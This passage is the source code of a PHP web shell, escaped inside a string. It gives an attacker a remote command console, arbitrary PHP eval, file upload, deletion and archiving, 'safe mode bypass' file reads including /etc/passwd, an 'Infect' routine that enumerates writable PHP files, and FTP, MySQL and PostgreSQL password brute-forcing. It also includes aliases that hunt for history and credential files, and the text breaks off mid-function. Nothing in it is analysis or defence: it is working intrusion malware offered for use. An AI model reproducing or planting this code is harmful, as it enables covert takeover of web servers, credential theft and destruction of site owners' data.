\'.bash_history\'","locate .mysql_history files"=>"locate \'.mysql_history\'","locate .fetchmailrc files"=>"locate \'.fetchmailrc\'","locate backup files"=>"locate backup","locate dump files"=>"locate dump","locate priv files"=>"locate priv");function actionConsole(){if(!empty($_POST[\'p1\'])&&!empty($_POST[\'p2\'])){prototype(md5($_SERVER[\'HTTP_HOST\']).\'stderr_to_out\',true);$_POST[\'p1\'].=\' 2>&1\';}elseif(!empty($_POST[\'p1\']))prototype(md5($_SERVER[\'HTTP_HOST\']).\'stderr_to_out\',0);if(isset($_POST[\'ajax\'])){prototype(md5($_SERVER[\'HTTP_HOST\']).\'ajax\',true);ob_start();echo"d.cf.cmd.value=\'\';\\n";$temp=@iconv($_POST[\'charset\'],\'UTF-8\',addcslashes("\\n$ ".$_POST[\'p1\']."\\n".ex($_POST[\'p1\']),"\\n\\r\\t\\\'\\0"));if(preg_match("!.*cd\\s+([^;]+)$!",$_POST[\'p1\'],$match)){if(@chdir($match[1])){$GLOBALS[\'cwd\']=@getcwd();echo"c_=\'".$GLOBALS[\'cwd\']."\';";}}echo"d.cf.output.value+=\'".$temp."\';";echo"d.cf.output.scrollTop = d.cf.output.scrollHeight;";$temp=ob_get_clean();echo strlen($temp),"\\n",$temp;exit;}if(empty($_POST[\'ajax\'])&&!empty($_POST[\'p1\']))prototype(md5($_SERVER[\'HTTP_HOST\']).\'ajax\',0);hardHeader();echo"<script>\r\nif(window.Event) window.captureEvents(Event.KEYDOWN);\r\nvar cmds = new Array(\'\');\r\nvar cur = 0;\r\nfunction kp(e) {\r\n\tvar n = (window.Event) ? e.which : e.keyCode;\r\n\tif(n == 38) {\r\n\t\tcur--;\r\n\t\tif(cur>=0)\r\n\t\t\tdocument.cf.cmd.value = cmds[cur];\r\n\t\telse\r\n\t\t\tcur++;\r\n\t} else if(n == 40) {\r\n\t\tcur++;\r\n\t\tif(cur < cmds.length)\r\n\t\t\tdocument.cf.cmd.value = cmds[cur];\r\n\t\telse\r\n\t\t\tcur--;\r\n\t}\r\n}\r\nfunction add(cmd) {\r\n\tcmds.pop();\r\n\tcmds.push(cmd);\r\n\tcmds.push(\'\');\r\n\tcur = cmds.length-1;\r\n}\r\n</script>";echo\'<h1>Console</h1><div class=content><form name=cf onsubmit="if(d.cf.cmd.value==\\\'clear\\\'){d.cf.output.value=\\\'\\\';d.cf.cmd.value=\\\'\\\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value,this.show_errors.checked?1:\\\'\\\');}else{g(null,null,this.cmd.value,this.show_errors.checked?1:\\\'\\\');} return false;"><label><select name=alias>\';foreach($GLOBALS[\'aliases\'] as$n=>$v){if($v==\'\'){echo\'<optgroup label="-\'.htmlspecialchars($n).\'-"></optgroup>\';continue;}echo\'<option value="\'.htmlspecialchars($v).\'">\'.$n.\'</option>\';}echo\'</select></label><input type=button onclick="add(d.cf.alias.value);if(d.cf.ajax.checked){a(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\\\'\\\');}else{g(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\\\'\\\');}" value="submit"> <nobr><input type=checkbox name=ajax value=1 \'.(@$_COOKIE[md5($_SERVER[\'HTTP_HOST\']).\'ajax\']?\'checked\':\'\').\'> send using AJAX <input type=checkbox name=show_errors value=1 \'.(!empty($_POST[\'p2\'])||$_COOKIE[md5($_SERVER[\'HTTP_HOST\']).\'stderr_to_out\']?\'checked\':\'\').\'> redirect stderr to stdout (2>&1)</nobr><br/><textarea class=bigarea name=output style="border-bottom:0;margin-top:5px;" readonly>\';if(!empty($_POST[\'p1\'])){echo htmlspecialchars("$ ".$_POST[\'p1\']."\\n".ex($_POST[\'p1\']));}echo\'</textarea><table style="border:1px solid #060a10;background-color:#060a10;border-top:0px;" cellpadding=0 cellspacing=0 width="100%"><tr><td style="padding-left:4px; width:13px;">$</td><td><input type=text name=cmd style="border:0px;width:100%;" onkeydown="kp(event);"></td></tr></table>\';echo\'</form></div><script>d.cf.cmd.focus();</script>\';hardFooter();}function actionPhp(){if(isset($_POST[\'ajax\'])){$_COOKIE[md5($_SERVER[\'HTTP_HOST\']).\'ajax\']=true;ob_start();eval($_POST[\'p1\']);$temp="document.getElementById(\'PhpOutput\').style.display=\'\';document.getElementById(\'PhpOutput\').innerHTML=\'".addcslashes(htmlspecialchars(ob_get_clean()),"\\n\\r\\t\\\\\'\\0")."\';\\n";echo strlen($temp),"\\n",$temp;exit;}hardHeader();if(isset($_POST[\'p2\'])&&($_POST[\'p2\']==\'info\')){echo\'<h1>PHP info</h1><div class=content>\';ob_start();phpinfo();$tmp=ob_get_clean();$tmp=preg_replace(\'!body {.*}!msiU\',\'\',$tmp);$tmp=preg_replace(\'!a:\\w+ {.*}!msiU\',\'\',$tmp);$tmp=preg_replace(\'!h1!msiU\',\'h2\',$tmp);$tmp=preg_replace(\'!td, th {(.*)}!msiU\',\'.e, .v, .h, .h th {$1}\',$tmp);$tmp=preg_replace(\'!body, td, th, h2, h2 {.*}!msiU\',\'\',$tmp);echo$tmp;echo\'</div><br>\';}if(empty($_POST[\'ajax\'])&&!empty($_POST[\'p1\']))$_COOKIE[md5($_SERVER[\'HTTP_HOST\']).\'ajax\']=false;echo\'<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(null,null,this.code.value);}else{g(null,null,this.code.value,\\\'\\\');}return false;"><textarea name=code class=bigarea id=PhpCode>\'.(!empty($_POST[\'p1\'])?htmlspecialchars($_POST[\'p1\']):\'\').\'</textarea><input type=submit value=Eval style="margin-top:5px">\';echo\' <input type=checkbox name=ajax value=1 \'.($_COOKIE[md5($_SERVER[\'HTTP_HOST\']).\'ajax\']?\'checked\':\'\').\'> send using AJAX</form><pre id=PhpOutput style="\'.(empty($_POST[\'p1\'])?\'display:none;\':\'\').\'margin-top:5px;" class=ml1>\';if(!empty($_POST[\'p1\'])){ob_start();eval($_POST[\'p1\']);echo htmlspecialchars(ob_get_clean());}echo\'</pre></div>\';hardFooter();}function actionFilesMan(){if(!empty($_COOKIE[\'f\']))$_COOKIE[\'f\']=@unserialize($_COOKIE[\'f\']);if(!empty($_POST[\'p1\'])){switch($_POST[\'p1\']){case \'uploadFile\':if(is_array($_FILES[\'f\'][\'tmp_name\'])){foreach($_FILES[\'f\'][\'tmp_name\'] as$i=>$tmpName){if(!@move_uploaded_file($tmpName,$_FILES[\'f\'][\'name\'][$i])){echo"Can\'t upload file!";}}}break;case \'mkdir\':if(!@mkdir($_POST[\'p2\']))echo"Can\'t create new dir";break;case \'delete\':function deleteDir($path){$path=(substr($path,-1)==\'/\')?$path:$path.\'/\';$dh=opendir($path);while(($▟=readdir($dh))!==false){$▟=$path.$▟;if((basename($▟)=="..")||(basename($▟)=="."))continue;$type=filetype($▟);if($type=="dir")deleteDir($▟);else @unlink($▟);}closedir($dh);@rmdir($path);}if(is_array(@$_POST[\'f\']))foreach($_POST[\'f\'] as$f){if($f==\'..\')continue;$f=urldecode($f);if(is_dir($f))deleteDir($f);else @unlink($f);}break;case \'paste\':if($_COOKIE[\'act\']==\'copy\'){function copy_paste($c,$s,$d){if(is_dir($c.$s)){mkdir($d.$s);$h=@opendir($c.$s);while(($f=@readdir($h))!==false)if(($f!=".") and ($f!=".."))copy_paste($c.$s.\'/\',$f,$d.$s.\'/\');}elseif(is_file($c.$s))@copy($c.$s,$d.$s);}foreach($_COOKIE[\'f\'] as$f)copy_paste($_COOKIE[\'c\'],$f,$GLOBALS[\'cwd\']);}elseif($_COOKIE[\'act\']==\'move\'){function move_paste($c,$s,$d){if(is_dir($c.$s)){mkdir($d.$s);$h=@opendir($c.$s);while(($f=@readdir($h))!==false)if(($f!=".") and ($f!=".."))copy_paste($c.$s.\'/\',$f,$d.$s.\'/\');}elseif(@is_file($c.$s))@copy($c.$s,$d.$s);}foreach($_COOKIE[\'f\'] as$f)@rename($_COOKIE[\'c\'].$f,$GLOBALS[\'cwd\'].$f);}elseif($_COOKIE[\'act\']==\'zip\'){if(class_exists(\'ZipArchive\')){$zip=new ZipArchive();if($zip->open($_POST[\'p2\'],1)){chdir($_COOKIE[\'c\']);foreach($_COOKIE[\'f\'] as$f){if($f==\'..\')continue;if(@is_file($_COOKIE[\'c\'].$f))$zip->addFile($_COOKIE[\'c\'].$f,$f);elseif(@is_dir($_COOKIE[\'c\'].$f)){$iterator=new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f.\'/\',FilesystemIterator::SKIP_DOTS));foreach($iterator as$key=>$value){$zip->addFile(realpath($key),$key);}}}chdir($GLOBALS[\'cwd\']);$zip->close();}}}elseif($_COOKIE[\'act\']==\'unzip\'){if(class_exists(\'ZipArchive\')){$zip=new ZipArchive();foreach($_COOKIE[\'f\'] as$f){if($zip->open($_COOKIE[\'c\'].$f)){$zip->extractTo($GLOBALS[\'cwd\']);$zip->close();}}}}elseif($_COOKIE[\'act\']==\'tar\'){chdir($_COOKIE[\'c\']);$_COOKIE[\'f\']=array_map(\'escapeshellarg\',$_COOKIE[\'f\']);ex(\'tar cfzv \'.escapeshellarg($_POST[\'p2\']).\' \'.implode(\' \',$_COOKIE[\'f\']));chdir($GLOBALS[\'cwd\']);}unset($_COOKIE[\'f\']);setcookie(\'f\',\'\',time()-3600);break;default:if(!empty($_POST[\'p1\'])){prototype(\'act\',$_POST[\'p1\']);prototype(\'f\',serialize(@$_POST[\'f\']));prototype(\'c\',@$_POST[\'c\']);}break;}}hardHeader();echo\'<h1>File manager</h1><div class=content><script>p1_=p2_=p3_="";</script>\';$dirContent=hardScandir(isset($_POST[\'c\'])?$_POST[\'c\']:$GLOBALS[\'cwd\']);if($dirContent===false){echo\'Can\\\'t open this folder!\';hardFooter();return;}global $sort;$sort=array(\'name\',1);if(!empty($_POST[\'p1\'])){if(preg_match(\'!s_([A-z]+)_(\\d{1})!\',$_POST[\'p1\'],$match))$sort=array($match[1],(int)$match[2]);}echo"<script>\r\n\tfunction sa() {\r\n\t\tfor(i=0;i<d.files.elements.length;i++)\r\n\t\t\tif(d.files.elements[i].type == \'checkbox\')\r\n\t\t\t\td.files.elements[i].checked = d.files.elements[0].checked;\r\n\t}\r\n</script>\r\n<table width=\'100%\' class=\'main\' cellspacing=\'0\' cellpadding=\'2\'>\r\n<form name=files method=post><tr><th width=\'13px\'><input type=checkbox onclick=\'sa()\' class=chkbx></th><th><a href=\'#\' onclick=\'g(\\"FilesMan\\",null,\\"s_name_".($sort[1]?0:1)."\\")\'>Name</a></th><th><a href=\'#\' onclick=\'g(\\"FilesMan\\",null,\\"s_size_".($sort[1]?0:1)."\\")\'>Size</a></th><th><a href=\'#\' onclick=\'g(\\"FilesMan\\",null,\\"s_modify_".($sort[1]?0:1)."\\")\'>Modify</a></th><th>Owner/Group</th><th><a href=\'#\' onclick=\'g(\\"FilesMan\\",null,\\"s_perms_".($sort[1]?0:1)."\\")\'>Permissions</a></th><th>Actions</th></tr>";$dirs=$files=array();$n=count($dirContent);for($i=0;$i<$n;$i++){$ow=@posix_getpwuid(@fileowner($dirContent[$i]));$gr=@posix_getgrgid(@filegroup($dirContent[$i]));$tmp=array(\'name\'=>$dirContent[$i],\'path\'=>$GLOBALS[\'cwd\'].$dirContent[$i],\'modify\'=>date(\'Y-m-d H:i:s\',@filemtime($GLOBALS[\'cwd\'].$dirContent[$i])),\'perms\'=>viewPermsColor($GLOBALS[\'cwd\'].$dirContent[$i]),\'size\'=>@filesize($GLOBALS[\'cwd\'].$dirContent[$i]),\'owner\'=>$ow[\'name\']?$ow[\'name\']:@fileowner($dirContent[$i]),\'group\'=>$gr[\'name\']?$gr[\'name\']:@filegroup($dirContent[$i]));if(@is_file($GLOBALS[\'cwd\'].$dirContent[$i]))$files[]=array_merge($tmp,array(\'type\'=>\'file\'));elseif(@is_link($GLOBALS[\'cwd\'].$dirContent[$i]))$dirs[]=array_merge($tmp,array(\'type\'=>\'link\',\'link\'=>readlink($tmp[\'path\'])));elseif(@is_dir($GLOBALS[\'cwd\'].$dirContent[$i])&&($dirContent[$i]!="."))$dirs[]=array_merge($tmp,array(\'type\'=>\'dir\'));}$GLOBALS[\'sort\']=$sort;function cmp($a,$b){if($GLOBALS[\'sort\'][0]!=\'size\')return strcmp(strtolower($a[$GLOBALS[\'sort\'][0]]),strtolower($b[$GLOBALS[\'sort\'][0]]))*($GLOBALS[\'sort\'][1]?1:-1);else return(($a[\'size\']<$b[\'size\'])?-1:1)*($GLOBALS[\'sort\'][1]?1:-1);}usort($files,"cmp");usort($dirs,"cmp");$files=array_merge($dirs,$files);$l=0;foreach($files as$f){echo\'<tr\'.($l?\' class=l1\':\'\').\'><td><input type=checkbox name="f[]" value="\'.urlencode($f[\'name\']).\'" class=chkbx></td><td><a href=# onclick="\'.(($f[\'type\']==\'file\')?\'g(\\\'FilesTools\\\',null,\\\'\'.urlencode($f[\'name\']).\'\\\', \\\'view\\\')">\'.htmlspecialchars($f[\'name\']):\'g(\\\'FilesMan\\\',\\\'\'.$f[\'path\'].\'\\\');" \'.(empty($f[\'link\'])?\'\':"title=\'".$f[\'link\']."\'").\'><b>[ \'.htmlspecialchars($f[\'name\']).\' ]</b>\').\'</a></td><td>\'.(($f[\'type\']==\'file\')?viewSize($f[\'size\']):$f[\'type\']).\'</td><td>\'.$f[\'modify\'].\'</td><td>\'.$f[\'owner\'].\'/\'.$f[\'group\'].\'</td><td><a href=# onclick="g(\\\'FilesTools\\\',null,\\\'\'.urlencode($f[\'name\']).\'\\\',\\\'chmod\\\')">\'.$f[\'perms\'].\'</td><td><a class="tooltip" data-tooltip="Rename" href="#" onclick="g(\\\'FilesTools\\\',null,\\\'\'.urlencode($f[\'name\']).\'\\\', \\\'rename\\\')">R</a> <a class="tooltip" data-tooltip="Touch" href="#" onclick="g(\\\'FilesTools\\\',null,\\\'\'.urlencode($f[\'name\']).\'\\\', \\\'touch\\\')">T</a>\'.(($f[\'type\']==\'file\')?\' <a class="tooltip" data-tooltip="Frame" href="#" onclick="g(\\\'FilesTools\\\',null,\\\'\'.urlencode($f[\'name\']).\'\\\', \\\'frame\\\')">F</a> <a class="tooltip" data-tooltip="Edit" href="#" onclick="g(\\\'FilesTools\\\',null,\\\'\'.urlencode($f[\'name\']).\'\\\', \\\'edit\\\')">E</a> <a class="tooltip" data-tooltip="Download" href="#" onclick="g(\\\'FilesTools\\\',null,\\\'\'.urlencode($f[\'name\']).\'\\\', \\\'download\\\')">D</a>\':\'\').\'</td></tr>\';$l=$l?0:1;}echo"<tr id=fak><td colspan=7>\r\n\t<input type=hidden name=ne value=\'\'>\r\n\t<input type=hidden name=a value=\'FilesMan\'>\r\n\t<input type=hidden name=c value=\'".htmlspecialchars($GLOBALS[\'cwd\'])."\'>\r\n\t<input type=hidden name=charset value=\'".(isset($_POST[\'charset\'])?$_POST[\'charset\']:\'\')."\'>\r\n\t<label><select name=\'p1\'>";if(!empty($_COOKIE[\'act\'])&&@count($_COOKIE[\'f\']))echo"<option value=\'paste\'>↳ Paste</option>";echo"<option value=\'copy\'>Copy</option><option value=\'move\'>Move</option><option value=\'delete\'>Delete</option>";if(class_exists(\'ZipArchive\'))echo"<option value=\'zip\'>+ zip</option><option value=\'unzip\'>- zip</option>";echo"<option value=\'tar\'>+ tar.gz</option>";echo"</select></label>";if(!empty($_COOKIE[\'act\'])&&@count($_COOKIE[\'f\'])&&(($_COOKIE[\'act\']==\'zip\')||($_COOKIE[\'act\']==\'tar\')))echo" file name: <input type=text name=p2 value=\'hard_".date("Ymd_His").".".($_COOKIE[\'act\']==\'zip\'?\'zip\':\'tar.gz\')."\'> ";echo"<input type=\'submit\' value=\'submit\'></td></tr></form></table></div>";hardFooter();}function actionStringTools(){if(!function_exists(\'hex2bin\')){function hex2bin($p){return decbin(hexdec($p));}}if(!function_exists(\'binhex\')){function binhex($p){return dechex(bindec($p));}}if(!function_exists(\'hex2ascii\')){function hex2ascii($p){$r=\'\';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return$r;}}if(!function_exists(\'ascii2hex\')){function ascii2hex($p){$r=\'\';for($i=0;$i<strlen($p);++$i)$r.=sprintf(\'%02X\',ord($p[$i]));return strtoupper($r);}}if(!function_exists(\'full_urlencode\')){function full_urlencode($p){$r=\'\';for($i=0;$i<strlen($p);++$i)$r.=\'%\'.dechex(ord($p[$i]));return strtoupper($r);}}$stringTools=array(\'Base64 encode\'=>\'base64_encode\',\'Base64 decode\'=>\'base64_decode\',\'Url encode\'=>\'urlencode\',\'Url decode\'=>\'urldecode\',\'Full urlencode\'=>\'full_urlencode\',\'md5 hash\'=>\'md5\',\'sha1 hash\'=>\'sha1\',\'crypt\'=>\'crypt\',\'CRC32\'=>\'crc32\',\'ASCII to HEX\'=>\'ascii2hex\',\'HEX to ASCII\'=>\'hex2ascii\',\'HEX to DEC\'=>\'hexdec\',\'HEX to BIN\'=>\'hex2bin\',\'DEC to HEX\'=>\'dechex\',\'DEC to BIN\'=>\'decbin\',\'BIN to HEX\'=>\'binhex\',\'BIN to DEC\'=>\'bindec\',\'String to lower case\'=>\'strtolower\',\'String to upper case\'=>\'strtoupper\',\'Htmlspecialchars\'=>\'htmlspecialchars\',\'String length\'=>\'strlen\',);if(isset($_POST[\'ajax\'])){prototype(md5($_SERVER[\'HTTP_HOST\']).\'ajax\',true);ob_start();if(in_array($_POST[\'p1\'],$stringTools))echo$_POST[\'p1\']($_POST[\'p2\']);$temp="document.getElementById(\'strOutput\').style.display=\'\';document.getElementById(\'strOutput\').innerHTML=\'".addcslashes(htmlspecialchars(ob_get_clean()),"\\n\\r\\t\\\\\'\\0")."\';\\n";echo strlen($temp),"\\n",$temp;exit;}if(empty($_POST[\'ajax\'])&&!empty($_POST[\'p1\']))prototype(md5($_SERVER[\'HTTP_HOST\']).\'ajax\',0);hardHeader();echo\'<h1>String conversions</h1><div class=content>\';echo"<form name=\'toolsForm\' onSubmit=\'if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;\'><label><select name=\'selectTool\'>";foreach($stringTools as$k=>$v)echo"<option value=\'".htmlspecialchars($v)."\'>".$k."</option>";echo"</select></label><input type=\'submit\' value=\'submit\'/> <input type=checkbox name=ajax value=1 ".(@$_COOKIE[md5($_SERVER[\'HTTP_HOST\']).\'ajax\']?\'checked\':\'\')."> send using AJAX<br><textarea name=\'input\' style=\'margin-top:5px\' class=bigarea>".(empty($_POST[\'p1\'])?\'\':htmlspecialchars(@$_POST[\'p2\']))."</textarea></form><pre class=\'ml1\' style=\'".(empty($_POST[\'p1\'])?\'display:none;\':\'\')."margin-top:5px\' id=\'strOutput\'>";if(!empty($_POST[\'p1\'])){if(in_array($_POST[\'p1\'],$stringTools))echo htmlspecialchars($_POST[\'p1\']($_POST[\'p2\']));}echo"</pre></div><br><h1>Search files:</h1><div class=content>\r\n\t\t<form onsubmit=\\"g(null,this.cwd.value,null,this.text.value,this.filename.value);return false;\\"><table cellpadding=\'1\' cellspacing=\'0\' width=\'50%\'>\r\n\t\t\t<tr><td width=\'1%\'>Text:</td><td><input type=\'text\' name=\'text\' style=\'width:100%\'></td></tr>\r\n\t\t\t<tr><td>Path:</td><td><input type=\'text\' name=\'cwd\' value=\'".htmlspecialchars($GLOBALS[\'cwd\'])."\' style=\'width:100%\'></td></tr>\r\n\t\t\t<tr><td>Name:</td><td><input type=\'text\' name=\'filename\' value=\'*\' style=\'width:100%\'></td></tr>\r\n\t\t\t<tr><td></td><td><input type=\'submit\' value=\'submit\'></td></tr>\r\n\t\t\t</table></form>";function hardRecursiveGlob($path){if(substr($path,-1)!=\'/\')$path.=\'/\';$paths=@array_unique(@array_merge(@glob($path.$_POST[\'p3\']),@glob($path.\'*\',GLOB_ONLYDIR)));if(is_array($paths)&&@count($paths)){foreach($paths as$▟){if(@is_dir($▟)){if($path!=$▟)hardRecursiveGlob($▟);}else{if(empty($_POST[\'p2\'])||@strpos(file_get_contents($▟),$_POST[\'p2\'])!==false)echo"<a href=\'#\' onclick=\'g(\\"FilesTools\\",null,\\"".urlencode($▟)."\\", \\"view\\",\\"\\")\'>".htmlspecialchars($▟)."</a><br>";}}}}if(@$_POST[\'p3\'])hardRecursiveGlob($_POST[\'c\']);echo"</div><br><h1>Search for hash:</h1><div class=content>\r\n\t\t<form method=\'post\' target=\'_blank\' name=\'hf\'>\r\n\t\t\t<input type=\'text\' name=\'hash\' style=\'width:200px;\'><br>\r\n <input type=\'hidden\' name=\'act\' value=\'find\'/>\r\n\t\t\t<input type=\'submit\' value=\'hashcracking.ru\' onclick=\\"document.hf.action=\'https://hashcracking.ru/index.php\';document.hf.submit()\\"><br>\r\n\t\t\t<input type=\'submit\' value=\'md5.rednoize.com\' onclick=\\"document.hf.action=\'http://md5.rednoize.com/?q=\'+document.hf.hash.value+\'&s=md5\';document.hf.submit()\\"><br>\r\n <input type=\'submit\' value=\'fakenamegenerator.com\' onclick=\\"document.hf.action=\'http://www.fakenamegenerator.com/\';document.hf.submit()\\"><br>\r\n\t\t\t<input type=\'submit\' value=\'hashcrack.com\' onclick=\\"document.hf.action=\'http://www.hashcrack.com/index.php\';document.hf.submit()\\"><br>\r\n\t\t\t<input type=\'submit\' value=\'toolki.com\' onclick=\\"document.hf.action=\'http://toolki.com/\';document.hf.submit()\\"><br>\r\n\t\t\t<input type=\'submit\' value=\'fopo.com.ar\' onclick=\\"document.hf.action=\'http://fopo.com.ar/\';document.hf.submit()\\"><br>\r\n\t\t\t<input type=\'submit\' value=\'md5decrypter.com\' onclick=\\"document.hf.action=\'http://www.md5decrypter.com/\';document.hf.submit()\\"><br>\r\n\t\t</form></div>";hardFooter();}function actionSafeMode(){$temp=\'\';ob_start();switch($_POST[\'p1\']){case 1:$temp=@tempnam($test,\'cx\');if(@copy("compress.zlib://".$_POST[\'p2\'],$temp)){echo @file_get_contents($temp);unlink($temp);}else echo\'Sorry... Can\\\'t open file\';break;case 2:$files=glob($_POST[\'p2\'].\'*\');if(is_array($files))foreach($files as$filename)echo$filename."\\n";break;case 3:$ch=curl_init("file://".$_POST[\'p2\']."\\x00".SELF_PATH);curl_exec($ch);break;case 4:ini_restore("safe_mode");ini_restore("open_basedir");include($_POST[\'p2\']);break;case 5:for(;$_POST[\'p2\']<=$_POST[\'p3\'];$_POST[\'p2\']++){$uid=@posix_getpwuid($_POST[\'p2\']);if($uid)echo join(\':\',$uid)."\\n";}break;case 6:if(!function_exists(\'imap_open\'))break;$stream=imap_open($_POST[\'p2\'],"","");if($stream==false)break;echo imap_body($stream,1);imap_close($stream);break;}$temp=ob_get_clean();hardHeader();echo\'<h1>Safe mode bypass</h1><div class=content>\';echo\'<span>Copy (read file)</span><form onsubmit=\\\'g(null,null,"1",this.param.value);return false;\\\'><input class="toolsInp" type=text name=param><input type=submit value="submit"></form><br><span>Glob (list dir)</span><form onsubmit=\\\'g(null,null,"2",this.param.value);return false;\\\'><input class="toolsInp" type=text name=param><input type=submit value="submit"></form><br><span>Curl (read file)</span><form onsubmit=\\\'g(null,null,"3",this.param.value);return false;\\\'><input class="toolsInp" type=text name=param><input type=submit value="submit"></form><br><span>Ini_restore (read file)</span><form onsubmit=\\\'g(null,null,"4",this.param.value);return false;\\\'><input class="toolsInp" type=text name=param><input type=submit value="submit"></form><br><span>Posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\\\'g(null,null,"5",this.param1.value,this.param2.value);return false;\\\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value="submit"></form><br><br><span>Imap_open (read file)</span><form onsubmit=\\\'g(null,null,"6",this.param.value);return false;\\\'><input type=text name=param><input type=submit value="submit"></form>\';if($temp)echo\'<pre class="ml1" style="margin-top:5px" id="Output">\'.$temp.\'</pre>\';echo\'</div>\';hardFooter();}function actionLogout(){setcookie(md5($_SERVER[\'HTTP_HOST\']),\'\',time()-3600);die(\'bye!\');}function actionSelfRemove(){if($_POST[\'p1\']==\'yes\')if(@unlink(preg_replace(\'!\\(\\d+\\)\\s.*!\',\'\',__FILE__)))die(\'Shell has been removed\');else echo\'unlink error!\';if($_POST[\'p1\']!=\'yes\')hardHeader();echo\'<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick="g(null,null,\\\'yes\\\')">Yes</a></div>\';hardFooter();}function actionInfect(){hardHeader();echo\'<h1>Infect</h1><div class=content>\';if($_POST[\'p1\']==\'infect\'){$target=$_SERVER[\'DOCUMENT_ROOT\'];function ListFiles($dir){if($dh=opendir($dir)){$files=array();$inner_files=array();while($file=readdir($dh)){if($file!="."&&$file!=".."){if(is_dir($dir."/".$file)){$inner_files=ListFiles($dir."/".$file);if(is_array($inner_files))$files=array_merge($files,$inner_files);}else{array_push($files,$dir."/".$file);}}}closedir($dh);return$files;}}foreach(ListFiles($target) as$key=>$file){$nFile=substr($file,-4,4);if($nFile==".php"){if(($file<>$_SERVER[\'DOCUMENT_ROOT\'].$_SERVER[\'PHP_SELF\'])&&(is_writeable($file))){echo$file."<br>";$i++;}}}echo"<font color=red size=14>".$i."</font>";}else{echo"<form method=post><input type=submit value=Infect name=infet></form>";echo\'Really want to infect the server? <a href=# onclick="g(null,null,\\\'infect\\\')">Yes</a></div>\';}hardFooter();}function actionBruteforce(){hardHeader();if(isset($_POST[\'proto\'])){echo\'<h1>Results</h1><div class=content><span>Type:</span> \'.htmlspecialchars($_POST[\'proto\']).\' <span>Server:</span> \'.htmlspecialchars($_POST[\'server\']).\'<br>\';if($_POST[\'proto\']==\'ftp\'){function bruteForce($ip,$port,$login,$pass){$fp=@ftp_connect($ip,$port?$port:21);if(!$fp)return false;$res=@ftp_login($fp,$login,$pass);@ftp_close($fp);return$res;}}elseif($_POST[\'proto\']==\'mysql\'){function bruteForce($ip,$port,$login,$pass){$res=@mysql_connect($ip.\':\'.($port?$port:3306),$login,$pass);@mysql_close($res);return$res;}}elseif($_POST[\'proto\']==\'pgsql\'){function bruteForce($ip,$port,$login,$pass){$str="host=\'".$ip."\' port=\'".$port."\' user=\'".$login."\' password=\'".$pass."\' dbname=postgres";$res=@pg_connect($str);@pg_close($res);return$res;}}$success=0;$attempts=0;$server=explode(":",$_POST[\'server\']);if($_POST[\'type\']==1){$temp=@file(\'/etc/passwd\');if(is_array($temp))foreach($temp as$line){$line=explode(":",$line);++$attempts;if(bruteForce(@$server[0],@$server[1],$line[0],$line[0])){$success++;echo\'<b>\'.htmlspecialchars($line[0]).\'</b>:\'.htmlspecialchars($line[0]).\'<br>\';}if(@$_POST[\'reverse\']){$tmp="";for($i=strlen($line[0])-1;$i>=0;--$i)$tmp.=$line[0][$i];++$attempts;if(bruteForce(@$server[0],@$server[1],$line[0],$tmp)){$success++;echo\'<b>\'.htmlspecialchars($line[0]).\'</b>:\'.htmlspecialchars($tmp);}}}}elseif($_POST[\'type\']==2){$temp=@file($_POST[\'dict\']);if(is_array($temp))foreach($temp as$line){$line=trim($line);++$attempts;if(bruteForce($server[0],@$server[1],$_POST[\'login\'],$line)){$success++;echo\'<b>\'.htmlspecialchars($_POST[\'login\']).\'</b>:\'.htmlspecialchars($line).\'<br>\';}}}echo"<span>Attempts:</span> ".$attempts." <span>Success:</span> ".$success."</div><br>";}echo\'<h1>FTP bruteforce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td>\'.\'<td><label><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></label></td></tr><tr><td>\'.\'<input type=hidden name=c value="\'.htmlspecialchars($GLOBALS[\'cwd\']).\'">\'.\'<input type=hidden name=a value="\'.htmlspecialchars($_POST[\'a\']).\'">\'.\'<input type=hidden name=charset value="\'.htmlspecialchars($_POST[\'charset\']).\'">\'.\'<input type=hidden name=ne value="">\'.\'<span>Server:port</span></td>\'.\'<td><input type=text name=server value="127.0.0.1"></td></tr>\'.\'<tr><td><span>Brute type</span></td>\'.\'<td><input type=radio name=type value="1" checked> /etc/passwd</td></tr>\'.\'<tr><td></td><td style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</td></tr>\'.\'<tr><td></td><td><input type=radio name=type value="2"> Dictionary</td></tr>\'.\'<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>\'.\'<td><input type=text name=login value="root"></td></tr>\'.\'<tr><td><span>Dictionary</span></td>\'.\'<td><input type=text name=dict value="\'.htmlspecialchars($GLOBALS[\'cwd\']).\'passwd.dic"></td></tr></table>\'.\'</td></tr><tr><td></td><td><input type=submit value="submit"></td></tr></form></table>\';echo\'</div>\';hardFooter();}function actionSql(){class DbClass{public$type;public$link;public$res;function DbClass($type){$this->type=$type;}function connect($host,$user,$pass,$dbname){switch($this->type){case \'mysql\':if($this->link=@mysql_connect($host,$user,$pass,true))return true;break;case \'pgsql\':$host=explode(\':\',$host);if(!$host[1])$host[1]=5432;if($this->link=@pg_connect("host=".$host[0]." port=".$host[1]." user=".$user." password=".$pass." dbname=".$dbname))return true;break;}return false;}function selectdb($db){switch($this->type){case \'mysql\':if(@mysql_select_db($db))return true;break;}return false;}function query($str){switch($this->type){case \'mysql\':return$this->res=@mysql_query($str);break;case \'pgsql\':return$this->res=@pg_query($this->link,$str);break;}return false;}function fetch(){$res=func_num_args()?func_get_arg(0):$this->res;switch($this->type){case \'mysql\':return @mysql_fetch_assoc($res);break;case \'pgsql\':return @pg_fetch_assoc($res);break;}return false;}function listDbs(){switch($this->type){case \'mysql\':return$this->query("SHOW databases");break;case \'pgsql\':return$this->res=$this->query("SELECT datname FROM pg_database WHERE datistemplate!=\'t\'");break;}return false;}function listTables(){switch($this->type){case 